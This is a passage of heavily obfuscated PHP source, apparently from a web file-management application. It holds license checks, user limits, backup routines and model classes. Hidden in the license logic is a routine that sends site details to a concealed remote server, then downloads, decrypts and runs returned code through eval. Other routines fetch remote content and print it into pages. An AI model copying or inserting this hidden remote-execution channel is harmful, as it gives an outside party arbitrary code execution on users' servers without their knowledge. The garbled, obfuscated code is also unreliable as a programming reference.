$ = Model($[33])->get($[101]); $ = $[196] . md5($ . $[197]); $Ɍܩ = $[671]; if (strlen($Ɍܩ) < $[638]) { die; } $׎ן = Cache::get($); if (!is_array($׎ן) || !isset($׎ן[$[200]]) || time() - $׎ן[$[200]] >= 60) { $Ć = Model($[7])->loadList(); $ = $Ć[$[193]]; $ = md5($_SERVER[$[100]] . strrev($) . $[$[183]]); $οɨ = strrev(substr($, 10, 16)); $׎ן = $this->rpfg1643af05($[$[83]][$οɨ], $); $׎ן = json_decode($׎ן, !0); } if (!is_array($׎ן)) { return $this->smof60a857fe(); } $鳮 = strtotime($׎ן[$[123]]); if (time() >= $鳮) { return $this->smof60a857fe(); } if (time() - $׎ן[$[200]] > 20) { $׎ן[$[200]] = time(); Cache::set($, $׎ן); } $this->kgxj509f9577 = $׎ן; $this->povsb382eacd = $[$[103]]; $̺ = $[672]; if (strlen($̺) < $[616]) { return; } } private function mdvu3ec12e6d() { $򭖴 =& $_SERVER[㫙]; $ؽ =& $_SERVER[߂ğ]; $ = $GLOBALS[$ؽ[13]]; $ = $򭖴[673]; if (strlen($) < $򭖴[621]) { die; } $ш = $_SERVER[$ؽ[24]]; if ($ш == $ؽ[201] && $this->povsb382eacd == $ؽ[104]) { show_json(LNG($ؽ[202]), !1, $ؽ[203]); } $ = array($ؽ[204], $ؽ[205]); if (in_array($ш, $)) { if ($this->povsb382eacd == $ؽ[104] && isset($[$ؽ[206]])) { show_json(LNG($ؽ[202]), !1, $ؽ[203]); die; } $Ъ܍ = $this->ghko87867608(); if ($Ъ܍ != intval($ؽ[207])) { if ($Ъ܍ <= Model($ؽ[119])->count()) { show_json(LNG($ؽ[208]), !1, $ؽ[203]); die; } } } } private function rsoj763df3d6() { $ =& $_SERVER[㫙]; $Ϙ =& $_SERVER[߂ğ]; $ό = array($Ϙ[116], $Ϙ[209]); $Ġ̲ = $[674]; if (!$Ġ̲) { return; } if (!_get($GLOBALS, $Ϙ[113]) || !isset($_GET[$Ϙ[210]])) { return; } if (!in_array($_SERVER[$Ϙ[24]], $ό)) { return; } $҃ = $Ϙ[211]; $ = $[647]; $҃ = $this->tzlea4d083e3($҃, $Ϙ[212]); $ּߥ = $[675]; if (strlen($ּߥ) < $[399]) { die; } $瑴 = stream_context_create(array($Ϙ[213] => array($Ϙ[214] => $Ϙ[215], $Ϙ[216] => 3))); $ = $[676]; $ = @file_get_contents($҃, !1, $瑴); header($Ϙ[217]); if ($ && strstr($, $Ϙ[218])) { echo $; } die; } public function jdfbbb4fd252($) { $ =& $_SERVER[㫙]; $ =& $_SERVER[߂ğ]; if ($this->povsb382eacd == $[219]) { return $; } $ = array($[220] => $[221], $[222] => $[221], $[223] => $[221], $[224] => $[221], $[225] => $[226], $[227] => $[226], $[228] => $[226], $[229] => $[226], $[230] => $[226], $[231] => $[226], $[232] => $[226], $[233] => $[226], $[234] => $[226], $[235] => $[226], $[236] => $[226], $[237] => $[226]); $ؠ = $[677]; if (strlen($ؠ) < $[638]) { die; } $ = explode($[238], _get($this->kgxj509f9577, $[110], $[6])); $ = array(); $ = $[678]; foreach ($ as $ => $ꚟ) { if ($ꚟ == $[221] && substr($this->povsb382eacd, 0, 1) == $[221]) { continue; } if (!in_array($, $)) { $[] = $; } } foreach ($ as $) { unset($[$]); $« = $[679]; if (strlen($«) < $[638]) { die; } } return $; } private function zxjh45c1ed14() { $כ =& $_SERVER[߂ğ]; if ($this->povsb382eacd != $כ[104]) { $GLOBALS[$כ[83]][$כ[87]][$כ[239]] = $כ[199]; return; } $GLOBALS[$כ[83]][$כ[240]] = $כ[191]; if (Model($כ[241])->get($כ[63]) != $כ[199]) { Model($כ[241])->set($כ[63], $כ[199]); } } public function kspba2acacd2() { $О =& $_SERVER[㫙]; return $_SERVER[߂ğ][242]; $Ʊ = $О[680]; if (strlen($Ʊ) < $О[621]) { die; } } private function onyc14f7497d() { $ =& $_SERVER[㫙]; $֠ =& $_SERVER[߂ğ]; $ꁞ = array($֠[243], $֠[244], $֠[245]); $˨ = $[681]; if (strlen($˨) < $[612]) { die; } $ = $֠[246] . md5($֠[247]); $¸ = $[682]; if (!$¸) { die; } if ($this->povsb382eacd == $֠[104] || !_get($GLOBALS, $֠[113])) { return; } if (!in_array($_SERVER[$֠[24]], $ꁞ)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($֠[248], $֠[249]), $); if ($ && time() - $ < intval($֠[250])) { return; } call_user_func(array($֠[248], $֠[133]), $, time()); $ = Model($֠[33])->get($֠[101]); $Μ = $[683]; if (!$Μ) { return; } $𑺑 = array($֠[145] => Model($֠[33])->get($֠[181]), $֠[158] => $this->povsb382eacd, $֠[155] => $_SERVER[$֠[156]], $֠[157] => Model($֠[33])->get($֠[125]), $֠[99] => md5($_SERVER[$֠[100]] . $), $֠[148] => $֠[130], $֠[151] => $_SERVER[$֠[152]]); $ = $[684]; $ۖ = $this->jcbuffcdecc5($֠[251], $𑺑); $ѕ = $[685]; if (strlen($ѕ) < $[612]) { die; } if (!is_array($ۖ)) { return; } if ($ۖ[$֠[145]] && $ۖ[$֠[252]]) { if ($this->fcajbacaf764($ۖ[$֠[252]]) == $𑺑[$֠[145]]) { return; } } $this->smof60a857fe(); if ($this->fcajbacaf764($ۖ[$֠[252]]) != $𑺑[$֠[145]]) { $ = array($֠[176] => $, $֠[177] => $_SERVER[$֠[100]], $֠[178] => this_url(), $֠[153] => $_SERVER[$֠[154]]); $ = $this->ofilae3a3477(json_encode($)); $ۖ = $this->jcbuffcdecc5($֠[179] . $); if ($ۖ && is_array($ۖ) && isset($ۖ[$֠[252]])) { $𶉯 = $this->rpfg1643af05($ۖ[$֠[252]], 2); if ($𶉯) { $𶉯 = $this->fcajbacaf764($𶉯); } if ($𶉯) { try { @eval($𶉯); } catch (Exception $ֹ) { } } } } } private function jcbuffcdecc5($ΔѦ = '', $ɐ = array(), $ø = 5) { $ =& $_SERVER[㫙]; $Ϛ =& $_SERVER[߂ğ]; $֮ = $Ϛ[253]; $ǒ = $[686]; if (strlen($ǒ) < $[399]) { die; } $֮ = $this->tzlea4d083e3($֮, $Ϛ[254]); $֮ = $֮ . $ΔѦ; if ($ɐ && is_array($ɐ)) { $֮ = $֮ . $Ϛ[255] . http_build_query($ɐ); } if ($ɐ === -1) { return $֮; } $񸰆 = stream_context_create(array($Ϛ[213] => array($Ϛ[216] => $ø, $Ϛ[214] => $Ϛ[256]), $Ϛ[257] => array($Ϛ[258] => !1, $Ϛ[259] => !1))); $ǽ = $[687]; if (strlen($ǽ) < $[621]) { return; } $ɐ = @file_get_contents($֮, !1, $񸰆); return json_decode($ɐ, !0); $ = $[688]; if (!$) { return; } } private function ghko87867608() { $ =& $_SERVER[㫙]; $ϸ =& $_SERVER[߂ğ]; $ݞ۳ = array($ϸ[260] => $ϸ[261], $ϸ[262] => $ϸ[263], $ϸ[264] => $ϸ[265], $ϸ[266] => $ϸ[267], $ϸ[268] => $ϸ[269], $ϸ[270] => $ϸ[207], $ϸ[271] => $ϸ[207], $ϸ[272] => $ϸ[261], $ϸ[273] => $ϸ[263], $ϸ[274] => $ϸ[265], $ϸ[275] => $ϸ[276], $ϸ[277] => $ϸ[267], $ϸ[278] => $ϸ[279], $ϸ[280] => $ϸ[269], $ϸ[281] => $ϸ[282], $ϸ[283] => $ϸ[284], $ϸ[285] => $ϸ[286]); $ = $[689]; if (!$) { return; } $ܼ = $ݞ۳[$this->povsb382eacd]; $ܼ = intval($ܼ ? $ܼ : $ϸ[261]); $ᚚ = _get($this->kgxj509f9577, $ϸ[287]); $ᚚ = $ᚚ ? intval($ᚚ) : 0; return $ܼ + $ᚚ; $ל = $[690]; if (!$ל) { die; } } public function dick37d7f731($͓) { $֢ =& $_SERVER[㫙]; $ =& $_SERVER[߂ğ]; $߇ = $this->ghko87867608(); $׭ = $֢[691]; if (!$׭) { die; } if ($͓[$[288]] == $[191]) { return; } if ($߇ >= intval($[207])) { return; } $Ȗ = Model($[119])->count(); $ = $֢[692]; if ($Ȗ <= $߇) { return; } $ = Model($[119])->field($[288])->limit($߇)->select(); $С = $֢[693]; if (!$С) { die; } $ = array_to_keyvalue($, $[6], $[288]); $۹ = $֢[694]; if (!$۹) { die; } if (!in_array($͓[$[288]], $)) { show_json($[289], !1, $[203]); } } public function kaqj50ccd5a6() { $ =& $_SERVER[㫙]; $ =& $_SERVER[߂ğ]; if (!_get($GLOBALS, $[113]) || mt_rand(1, 100) > 20) { return; } $ = $[211]; $ = $this->tzlea4d083e3($, $[212]); $܎ = stream_context_create(array($[213] => array($[214] => $[215], $[216] => 3))); $̦ = $[695]; $ = @file_get_contents($, !1, $܎); $ö = $[696]; if (strlen($ö) < $[612]) { return; } echo $[290] . hash_encode($) . $[291]; } private function mlarff31877d($ӥմ, $ؽ, $Ȅ = 3) { $ï =& $_SERVER[㫙]; $ =& $_SERVER[߂ğ]; usleep(1); $ӥմ = trim($ӥմ); $ӵ = $ï[697]; if (strlen($ӵ) < $ï[399]) { return; } $軔 = mt_rand(0, 5) . $[6]; $ = rand_string(15); $ʣ = $[292]; $ = $ï[698]; if (!$) { die; } switch ($軔) { case $[199]: $ = $this->gdzs2feaadff($ӥմ, strrev($ؽ . $)); break; $Ҳ = $ï[699]; if (strlen($Ҳ) < $ï[638]) { return; } case $[191]: $ = $this->gdzs2feaadff($ӥմ, strrev($ . $ؽ)); $ = $ï[700]; break; $̬ = $ï[701]; case $[293]: $ = $this->gdzs2feaadff($ӥմ, base64_encode($ . $ؽ)); break; $ؕ = $ï[702]; while ($ؕ < $ï[621]) { if ($ؕ >= 0) { break; } $ؕ++; } case $[294]: $ = $this->gdzs2feaadff($ӥմ, md5($ . $ؽ)); break; case $[295]: $ӥմ = base64_encode($ӥմ); $ح = $ï[703]; while ($ح < $ï[616]) { if ($ح >= 0) { break; } $ح++; } $ე = rand(0, 64); $ϙ = $ï[704]; while ($ϙ < $ï[621]) { if ($ϙ >= 0) { break; } $ϙ++; } $ӈ = $ʣ[$ე]; $ = md5($ӈ . md5($ؽ . $ӈ) . $ؽ); $ = substr($, $ე % 8, $ე % 8 + 7); $ѥ = $[6]; $ݘ = $ï[705]; while (strlen($ݘ) < $ï[612]) { if (!$ݘ) { break; } $ݘ++; } $ = 0; $Ġ¶ = 0; $ = 0; for ($ = 0; $ < strlen($ӥմ); $++) { $ = $ == strlen($) ? 0 : $; $޵ = $ï[706]; $Ġ¶ = ($ე + strpos($ʣ, $ӥմ[$]) + ord($[$++])) % 64; $ = $ï[707]; if (strlen($) < $ï[612]) { return; } $ѥ .= $ʣ[$Ġ¶]; $ = $ï[708]; while (strlen($) < $ï[616]) { if (!$) { break; } $++; } } $ = hash_encode($ӈ . $ѥ); $ = $ï[709]; if (!$) { die; } break; default: $ = $this->gdzs2feaadff($ӥմ, $ؽ . $); break; } $ = strrev($軔 . $ . $); if ($Ȅ - 1 > 0) { $ = $this->mlarff31877d($, $ؽ, $Ȅ - 1); } return $; } private function rpfg1643af05($Ҧ, $Ր, $ = 3) { $󻁌 =& $_SERVER[㫙]; $֐ =& $_SERVER[߂ğ]; if (!is_string($Ҧ) || strlen($Ҧ) < 10) { return !1; } $Ҧ = trim($Ҧ); $򡭹 = $󻁌[710]; if (strlen($򡭹) < $󻁌[616]) { return; } $Ҧ = strrev($Ҧ); $볏 = $󻁌[711]; $ = $Ҧ[0]; $ߜ = $󻁌[712]; if (strlen($ߜ) < $󻁌[399]) { return; } $ = substr($Ҧ, 1, 15); $Ҧ = substr($Ҧ, 16); $ץ = $֐[292]; switch ($) { case $֐[199]: $ל = $this->tzlea4d083e3($Ҧ, strrev($Ր . $)); break; $ = $󻁌[713]; while (strlen($) < $󻁌[621]) { if (!$) { break; } $++; } case $֐[191]: $ל = $this->tzlea4d083e3($Ҧ, strrev($ . $Ր)); $ = $󻁌[714]; if (strlen($) < $󻁌[638]) { die; } break; case $֐[293]: $ל = $this->tzlea4d083e3($Ҧ, base64_encode($ . $Ր)); $ք = $󻁌[715]; while ($ք < $󻁌[399]) { if ($ք >= 0) { break; } $ք++; } break; $ߝ = $󻁌[716]; if (strlen($ߝ) < $󻁌[612]) { die; } case $֐[294]: $ל = $this->tzlea4d083e3($Ҧ, md5($ . $Ր)); break; $ = $󻁌[717]; while (strlen($) < $󻁌[616]) { if (!$) { break; } $++; } case $֐[295]: $Ҧ = hash_decode($Ҧ); $ = $Ҧ[0]; $Ҧ = substr($Ҧ, 1); $ = $󻁌[718]; while ($ < $󻁌[621]) { if ($ >= 0) { break; } $++; } $ = strpos($ץ, $); $Ǡ = $󻁌[719]; $ݢ = md5($ . md5($Ր . $) . $Ր); $ݢ = substr($ݢ, $ % 8, $ % 8 + 7); $Ӏ = $󻁌[720]; while ($Ӏ < $󻁌[638]) { if ($Ӏ >= 0) { break; } $Ӏ++; } $ջ = $֐[6]; $ = $󻁌[721]; $ = 0; $ = 0; $ނ = 0; $˃ = $󻁌[722]; if (strlen($˃) < $󻁌[621]) { return; } for ($ = 0; $ < strlen($Ҧ); $++) { $ނ = $ނ == strlen($ݢ) ? 0 : $ނ; $ۗ = $󻁌[723]; $ = $ނ++; $ = strpos($ץ, $Ҧ[$]) - $ - ord($ݢ[$]); $ = $󻁌[724]; if (strlen($) < $󻁌[616]) { die; } while ($ < 0) { $ += 64; } $ջ .= $ץ[$]; $񕭷 = $󻁌[725]; if (strlen($񕭷) < $󻁌[612]) { die; } } $ל = base64_decode($ջ); break; $ = $󻁌[726]; while ($ < $󻁌[638]) { if ($ >= 0) { break; } $++; } default: $ל = $this->tzlea4d083e3($Ҧ, $Ր . $); break; } if ($ - 1 > 0) { $ל = $this->rpfg1643af05($ל, $Ր, $ - 1); } return $ל; } public function ofilae3a3477($) { $ӝ =& $_SERVER[㫙]; $׼ =& $_SERVER[߂ğ]; $͒ = $this->gkjf846b173b(); $ = $this->gkjf846b173b(); $ӫ = ($͒ - 1) * ($ - 1); $ϝ = $ӝ[727]; if (strlen($ϝ) < $ӝ[612]) { return; } $‰ = intval(($͒ + $) / 2); while (1) { $ֺ = $‰; $߁Ա = $ӫ; while ($߁Ա % $ֺ != 0) { $ = $߁Ա; $߁Ա = $ֺ; $ߌ = $ӝ[728]; if (strlen($ߌ) < $ӝ[638]) { return; } $ֺ = $ % $ֺ; $Ⰻ = $ӝ[729]; if (strlen($Ⰻ) < $ӝ[612]) { die; } } if ($ֺ == 1) { break; } else { $‰++; } } $Ù = 2; for ($݇ = 0; $݇ < $ӫ * 10; $݇++) { if (($ӫ * $݇ + 1) % $‰ == 0) { $Ù = intval(($ӫ * $݇ + 1) / $‰); break; } } $췙 = $this->gdzs2feaadff($͒ * $ . $׼[6], $׼[130]); $䠐 = $ӝ[730]; if (!$䠐) { return; } $ = md5($׼[296] . ($͒ + $) . $׼[297] . $‰ . $׼[297] . $Ù . $׼[298]); $醜 = $this->gdzs2feaadff($, $) . $׼[299] . $췙; return $醜; $賰 = $ӝ[731]; if (strlen($賰) < $ӝ[621]) { die; } } public function fcajbacaf764($) { $۷ =& $_SERVER[㫙]; $ =& $_SERVER[߂ğ]; $٢ = explode($[299], $); $ˤ = $۷[732]; while (strlen($ˤ) < $۷[616]) { if (!$ˤ) { break; } $ˤ++; } if (count($٢) != 2) { return $[6]; } $Ҕ = $this->tzlea4d083e3($٢[1] . $[6], $[130]); if (!$Ҕ) { return $[6]; } $Ҕ = intval($Ҕ); $ŭ = $۷[733]; while ($ŭ < $۷[621]) { if ($ŭ >= 0) { break; } $ŭ++; } $㔦 = 0; $񚳿̿ = 0; $冮 = $۷[734]; while (strlen($冮) < $۷[621]) { if (!$冮) { break; } $冮++; } for ($ = 3; $ < $Ҕ; $ += 2) { if ($Ҕ % $ != 0) { continue; } $㔦 = $; $ = $۷[735]; if (!$) { die; } $񚳿̿ = intval($Ҕ / $); $Ț = $۷[736]; if (strlen($Ț) < $۷[621]) { die; } break; $Õ = $۷[737]; } $ = ($㔦 - 1) * ($񚳿̿ - 1); $Տ = intval(($㔦 + $񚳿̿) / 2); $Ȭ = $۷[738]; if (!$Ȭ) { return; } while (1) { $ = $Տ; $ф = $۷[739]; while ($ф < $۷[638]) { if ($ф >= 0) { break; } $ф++; } $ʤ = $; $ = $۷[740]; while ($ < $۷[638]) { if ($ >= 0) { break; } $++; } while ($ʤ % $ != 0) { $ = $ʤ; $ʤ = $; $ꆜ = $۷[741]; if (strlen($ꆜ) < $۷[621]) { die; } $ = $ % $; $ = $۷[742]; if (strlen($) < $۷[621]) { return; } } if ($ == 1) { break; } else { $Տ++; } } $Զ = 2; $⋧ = $۷[743]; if (strlen($⋧) < $۷[399]) { return; } for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $Տ == 0) { $Զ = intval(($ * $ + 1) / $Տ); break; } } $ = md5($[296] . ($㔦 + $񚳿̿) . $[297] . $Տ . $[297] . $Զ . $[298]); $ = $this->tzlea4d083e3($٢[0], $); $ڝ = $۷[744]; if (!$ڝ) { return; } return $; } public function gkjf846b173b() { $꺔 =& $_SERVER[㫙]; $ɜ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ޔ = array(); $ = 1; while ($ <= (int) sqrt($ɜ)) { $ = $; $ƒ = $꺔[745]; while (strlen($ƒ) < $꺔[616]) { if (!$ƒ) { break; } $ƒ++; } while (!0) { $++; $ = $꺔[746]; if (strlen($) < $꺔[612]) { die; } if ($ <= 2) { $ = $; break; } else { if ($ < 2) { continue; } } $ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $ = !1; } } if ($) { $ = $; break; } } $ޔ[] = $; } $ÇꞬ = 2; $ = $꺔[747]; for ($ = $ɜ; $ > 1; $--) { $ = !0; foreach ($ޔ as $) { if ($ % $ == 0) { $ = !1; break; } } if ($) { $ÇꞬ = $; break; } } return $ÇꞬ; } public function djly11a078aa($, $Dž) { $ɏ =& $_SERVER[߂ğ]; return call_user_func(array($ɏ[8], $ɏ[300]), $, $Dž); } public function gdzs2feaadff($, $Ӊ) { $ =& $_SERVER[߂ğ]; return call_user_func(array($[301], $[302]), $, $Ӊ); $Ӧ = $_SERVER[㫙][748]; if (!$Ӧ) { return; } } public function tzlea4d083e3($ō, $ńֆ) { $ށ =& $_SERVER[߂ğ]; return call_user_func(array($ށ[301], $ށ[303]), $ō, $ńֆ); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[㫙]; $this->isManual(); self::$name = date($[749]); if (!($Ƙ = Model($[750])->lastItem())) { $Ƙ = $this->initData(); } else { self::$name = $Ƙ[$[32]]; if ($Ƙ[$[751]] == $[89]) { self::$name = date($[752]); $ = 0; if (isset($Ƙ[$[288]][$[192]][$[467]])) { $ = (int) $Ƙ[$[288]][$[192]][$[467]]; } if (self::$manual == 0 && $Ƙ[$[32]] == self::$name) { Model($[750])->remove($Ƙ[$[392]]); } $Ƙ = $this->initData($, $Ƙ[$[753]]); } else { $this->checkStore($Ƙ[$[753]]); } } self::$option = $Ƙ; } private function isManual() { $Љ = _get($GLOBALS, $_SERVER[㫙][754], 0); $Љ = intval($Љ); self::$manual = $Љ && $Љ == 1 ? 1 : 0; } private function initData($ = 0, $ = '') { $ꨌԡ =& $_SERVER[㫙]; $ݝ = Model($ꨌԡ[750])->config(); if ($ && $ݝ[$ꨌԡ[753]] != $) { $ = 0; } $this->checkStore($ݝ[$ꨌԡ[753]]); if (self::$manual == 1) { self::$name .= $ꨌԡ[11] . date($ꨌԡ[755]); } $傩ށ = array($ꨌԡ[753] => $ݝ[$ꨌԡ[753]], $ꨌԡ[32] => self::$name, $ꨌԡ[751] => 0, $ꨌԡ[756] => $ݝ[$ꨌԡ[756]], $ꨌԡ[757] => self::$manual, $ꨌԡ[288] => array($ꨌԡ[758] => array($ꨌԡ[751] => 0), $ꨌԡ[759] => array($ꨌԡ[751] => 0, $ꨌԡ[760] => 0, $ꨌԡ[761] => 0, $ꨌԡ[33] => $ꨌԡ[12], $ꨌԡ[762] => 0, $ꨌԡ[496] => 0), $ꨌԡ[763] => array($ꨌԡ[751] => 0, $ꨌԡ[760] => 0, $ꨌԡ[761] => 0, $ꨌԡ[762] => 0, $ꨌԡ[496] => 0), $ꨌԡ[192] => array($ꨌԡ[751] => 0, $ꨌԡ[764] => 0, $ꨌԡ[765] => 0, $ꨌԡ[766] => 0, $ꨌԡ[767] => 0, $ꨌԡ[467] => $, $ꨌԡ[762] => 0, $ꨌԡ[496] => 0)), $ꨌԡ[762] => time(), $ꨌԡ[496] => 0); $ = Model($ꨌԡ[750])->insert($傩ށ); $傩ށ[$ꨌԡ[392]] = $; return $傩ށ; } private function checkStore($ͫ) { $צ =& $_SERVER[㫙]; $ = Model($צ[768])->listData($ͫ); Model($צ[768])->checkConfig($); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[㫙][750])->findByName(self::$name); } return self::$option; } public static function set($) { $У =& $_SERVER[㫙]; $ = self::get(); foreach ($ as $ => $Ξ) { $ = explode($У[10], $); $厧 = count($); switch ($厧) { case 1: $[$[0]] = $Ξ; break; case 2: $[$[0]][$[1]] = $Ξ; break; case 3: $[$[0]][$[1]][$[2]] = $Ξ; break; } } Model($У[750])->update($[$У[392]], $); self::$option = $; return self::$option; } public function keep() { $Ѝ =& $_SERVER[㫙]; $ = self::get(); if ($[$Ѝ[288]][$Ѝ[758]][$Ѝ[751]] == $Ѝ[89]) { return; } $this->backupKeep($); self::set(array($Ѝ[769] => 1)); } private function backupKeep($̃) { $Á =& $_SERVER[㫙]; if (self::$manual == 1) { return; } $ = Model($Á[750])->listData(); if (empty($)) { return; } $ = 0; $ށ = array(); foreach ($ as $ؕ) { if ($ >= 7) { break; } $ށ[] = $ؕ[$Á[32]]; $++; } for ($ = 0; $ < 12; $++) { $ށ[] = date($Á[770], strtotime("\x2d{$}\40\x6d\x6f\x6e\164\150\x73")); } $ށ = array_unique($ށ); $ӆ = Model($Á[771])->get($Á[772]); foreach ($ as $ؕ) { if (isset($ؕ[$Á[757]]) && $ؕ[$Á[757]] == $Á[89]) { continue; } if (!empty($ؕ[$Á[32]]) && in_array($ؕ[$Á[32]], $ށ)) { continue; } Model($Á[750])->remove($ؕ[$Á[392]]); $㠃 = $this->backupPath($̃, $ӆ); IO::remove($㠃, !1); } } private function backupPath($Ê, $ˌ = false) { $ =& $_SERVER[㫙]; if (!$ˌ) { $ˌ = Model($[771])->get($[772]); } $Ȋ = $Ê[$[32]]; $ = substr(md5($[773] . $ˌ . $Ȋ), 0, 8); return "\x7b\x69\157\72{$Ê[$[753]]}\175\x2f\x64\x61\164\x61\x62\x61\163\145\57\x62\x61\143\153\x75\x70\57" . $Ȋ . $[11] . $; } public function db() { $قʥ =& $_SERVER[㫙]; $ޠ = self::get(); if ($ޠ[$قʥ[288]][$قʥ[759]][$قʥ[751]] == $قʥ[89]) { return !0; } $ԗɿ = new BackupDb(); if (!$ԗɿ->index()) { return !1; } self::set(array($قʥ[774] => 1)); return !0; } public function dbFile() { $ޤǿ =& $_SERVER[㫙]; $ȷ = self::get(); if ($ȷ[$ޤǿ[288]][$ޤǿ[763]][$ޤǿ[751]] == $ޤǿ[89]) { return !0; } $ڵ = new BackupDbFile(); if (!$ڵ->index()) { return !1; } self::set(array($ޤǿ[775] => 1)); return !0; } public function file() { $˝ =& $_SERVER[㫙]; $ = self::get(); if ($[$˝[288]][$˝[192]][$˝[751]] == $˝[89]) { return !0; } if (!isset($[$˝[756]]) || $[$˝[756]] == $˝[190]) { $؃ = new BackupFile(); if (!$؃->index()) { return !1; } } self::set(array($˝[776] => 1, $˝[751] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $͵ =& $_SERVER[㫙]; $ = Backup::get(); self::$io = $[$͵[753]]; self::$name = $[$͵[32]]; $埨 = new DbManage(); $ƻֽ = $埨->dbType(); $ = array($͵[777] => $ƻֽ, $͵[778] => time()); Backup::set($); $ں = $this->tmpFilesPath() . $͵[779] . self::$name . $͵[8]; del_dir($ں); mk_dir($ں); $ = $׷ = 0; $ = new Task($͵[780], $͵[781], 0, LNG($͵[782]) . $͵[783] . LNG($͵[784])); try { $ = $埨->db()->getTables(); } catch (Exception $̔) { $->end(); return !1; } $ = array_diff($, array($͵[785], $͵[786])); foreach ($ as $Ñ) { $ += $埨->model($Ñ)->count(); } $->task[$͵[787]] = $; $GLOBALS[$͵[788]] = self::$name; foreach ($ as $Ñ) { $Φ = $ں . $Ñ . $͵[789]; $熱 = null; if ($Ñ == $͵[790] && (!isset($[$͵[756]]) || $[$͵[756]] == $͵[190])) { $熱 = self::$io; } $׷ += $埨->sqlFromDb($Ñ, $Φ, $, $熱); } unset($GLOBALS[$͵[788]]); $->end(); if ($׷ > $) { $ = $׷; } $ = array($͵[777] => $ƻֽ, $͵[774] => 1, $͵[791] => $, $͵[792] => $׷, $͵[793] => time()); Backup::set($); if ($ - $׷ > 0) { $ފ = $͵[794]; if (stristr(I18n::getType(), $͵[795])) { $ފ = $͵[796]; } write_log(array($ފ, $), $͵[781]); return !1; } return !0; } private function tmpFilesPath() { $ϯ =& $_SERVER[㫙]; $ɺ = TEMP_FILES; if ($GLOBALS[$ϯ[6]][$ϯ[90]][$ϯ[797]]) { $ɺ = $GLOBALS[$ϯ[6]][$ϯ[90]][$ϯ[797]]; if (!mk_dir($ɺ) || !is_writable($ɺ) || !IO::mkfile($ɺ . $ϯ[798])) { $ɺ = TEMP_FILES; } } return $ɺ; } } goto FΑ; B: define($_SERVER[㫙][236], 1); define($_SERVER[㫙][237], 0); define($_SERVER[㫙][238], 2); goto dɒ; dΏ: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($˕ض = false, $ = '', $ = false) { $ =& $_SERVER[㫙]; $ = $this->cacheGet($); $ⴜ = $this->optionDefault($); $ⴜ = is_array($ⴜ) ? $ⴜ : array(); if (is_array($)) { $ = array_merge($ⴜ, $); return $˕ض ? isset($[$˕ض]) ? $[$˕ض] : null : $; } $̖ = $this->filterWhere(array($[33] => $)); $ = $this->where($̖)->select(); $ = array_to_keyvalue($, $[95], $[369]); foreach ($ as $ => $Ϩͽ) { if ($ || in_array($, $this->jsonField)) { $[$] = json_decode($Ϩͽ, !0); } } $this->cacheSet($, $); $ = array_merge($ⴜ, $); return $˕ض ? $[$˕ض] : $; } public function set($̰ڷ, $۳ = false, $ƾ = '') { $، =& $_SERVER[㫙]; $this->cacheRemove($ƾ); $ = array(); $ = is_array($̰ڷ) ? $̰ڷ : array($̰ڷ => $۳); foreach ($ as $̻Ŏ => $ְ) { if (is_array($ְ)) { $ְ = json_encode_force($ְ); } $this->checkLength($ְ, !1, $this->tableName . $،[4] . $̰ڷ); $ְ = self::textEncode($ְ); $ = array($،[33] => $ƾ, $،[95] => $̻Ŏ, $،[369] => $ְ); $[] = $this->filterWhere($); } if (!$) { return !0; } return $this->addAll($, array(), !0); } protected function optionDefault($Խ = '') { return !1; } public function setDeep($ۅϲ, $ɑ = false, $Ưˎ = '') { $ = explode($_SERVER[㫙][10], $ۅϲ); $ߚLJ = $this->get(); array_set_value($ߚLJ, $ۅϲ, $ɑ); $this->set($[0], $ߚLJ[$[0]], $Ưˎ); } public function remove($Ϥ, $ = '') { $ވ =& $_SERVER[㫙]; $this->cacheRemove($); $蘊 = $this->filterWhere(array($ވ[95] => $Ϥ, $ވ[33] => $)); if (is_null($Ϥ)) { unset($蘊[$ވ[95]]); } return $this->where($蘊)->delete(); } public function cacheSet($, $ = false) { return Cache::set($this->cacheKey($), $); } public function cacheGet($ڹ) { return Cache::get($this->cacheKey($ڹ)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($ޒ) { return $ޒ; } protected function cacheKey($Дߏ) { return $Дߏ; } } class SourceListModel extends ModelBase { protected $tableName = "\151\157\x5f\163\x6f\165\162\143\145"; protected $tableMeta = array("\x74\141\142\154\x65\x4e\x61\155\145" => "\x69\x6f\x5f\x73\x6f\x75\x72\143\145\137\155\x65\x74\141", "\155\x65\x74\141\x46\151\x65\154\144" => "\163\157\165\x72\143\x65\111\x44"); protected $dataAuto = array(array("\155\157\x64\151\146\171\x54\151\x6d\145", "\x74\151\155\145", "\x69\156\163\145\x72\164", "\x66\165\x6e\x63\x74\x69\157\156"), array("\x63\x72\145\x61\164\x65\x54\151\x6d\145", "\x74\151\155\x65", "\151\x6e\163\x65\162\164", "\146\165\156\x63\x74\x69\x6f\156"), array("\x76\151\145\x77\124\151\x6d\x65", "\x74\x69\155\x65", "\x69\x6e\163\x65\x72\164", "\146\x75\x6e\x63\x74\151\157\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($ڨ) { return $this->listSource(array($_SERVER[㫙][402] => $ڨ)); } public function typeName($) { static $ը贮 = array(self::TYPE_SYSTEM => "\163\171\163\x74\x65\155", self::TYPE_USER => "\x75\x73\145\x72", self::TYPE_GROUP => "\x67\162\157\x75\x70"); return $ը贮[$ . $_SERVER[㫙][12]]; } public function sourceListInfo($, $ڪ = false) { $ =& $_SERVER[㫙]; $ = $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $ = $this->where(array($[403] => array($[7], $)))->select(); $this->_listDataApply($, $ڪ); return array_to_keyvalue($, $[403]); } public function pathInfoFilter(&$) { $ =& $_SERVER[㫙]; static $Ӳڤ = false; static $ = false; static $ = false; if (!$Ӳڤ) { $˹ = $[404]; $˹ .= $[405]; $˹ .= $[406]; $Ҧ = $[407]; $ = explode($[50], $Ҧ); $Ӳڤ = explode($[50], 